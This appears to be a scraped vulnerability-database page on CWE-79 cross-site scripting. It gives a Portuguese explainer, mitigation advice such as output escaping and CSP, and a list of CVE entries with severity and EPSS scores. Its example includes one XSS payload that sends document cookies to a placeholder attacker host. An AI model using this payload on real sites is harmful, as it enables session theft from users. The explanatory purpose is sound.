Fallos del tipo CWE-79

28.675 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2021-22706—A CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability exists in EVlink City (EVC1S22PEPSS 0.8%CVE-2021-39314MEDIUMWooCommerce EnvioPack <= 1.2 Reflected Cross-Site ScriptingEPSS 0.8%CVE-2021-39319MEDIUMduoFAQ - Responsive, Flat, Simple FAQ <= 1.4.8 Reflected Cross-Site ScriptingEPSS 0.8%CVE-2024-52860MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.8%CVE-2021-25000—Booster for WooCommerce < 5.4.9 - Reflected Cross-Site Scripting in General ModuleEPSS 0.8%CVE-2021-39310MEDIUMReal WYSIWYG <= 0.0.2 Reflected Cross-Site ScriptingEPSS 0.8%CVE-2021-36895MEDIUMWordPress Tripetto plugin <= 5.1.4 - Unauthenticated Cross-Site Scripting (XSS) vulnerability via SVG image uploadEPSS 0.8%CVE-2021-25982MEDIUMFactorJS - Reflected Cross-Site Scripting (XSS) in Search FunctionalityEPSS 0.8%CVE-2024-57428CRITICALA stored cross-site scripting (XSS) vulnerability in PHPJabbers Cinema Booking System v2.0 exists due to unsanitized input in file upload fiEPSS 0.8%CVE-2021-25001—Booster for WooCommerce < 5.4.9 - Reflected Cross-Site Scripting in Product XML Feeds ModuleEPSS 0.8%CVE-2021-39311MEDIUMlink-list-manager <= 1.0 Reflected Cross-Site ScriptingEPSS 0.8%CVE-2022-29415MEDIUMWordPress Ravpage plugin <= 2.16 - Unauthenticated Reflected Cross-Site Scripting (XSS) vulnerabilityEPSS 0.8%CVE-2017-0923—Gitlab Community Edition version 9.1 is vulnerable to lack of input validation in the IPython notebooks component resulting in persistent crEPSS 0.8%CVE-2017-0924—Gitlab Community Edition version 10.2.4 is vulnerable to lack of input validation in the labels component resulting in persistent cross siteEPSS 0.8%CVE-2023-46134MEDIUMD-Tale vulnerable to Remote Code Execution through the Custom Filter InputEPSS 0.8%CVE-2021-44053MEDIUMReflected XSSEPSS 0.8%CVE-2022-20815MEDIUMCisco Unified Communications Products Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2022-20800MEDIUMCisco Unified Communications Products Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2024-21690HIGHThis High severity Reflected XSS and CSRF (Cross-Site Request Forgery) vulnerability was introduced in versions 7.19.0, 7.20.0, 8.0.0, 8.1.0EPSS 0.8%CVE-2020-5264MEDIUMReflected XSS in security compromised page of PrestaShopEPSS 0.8%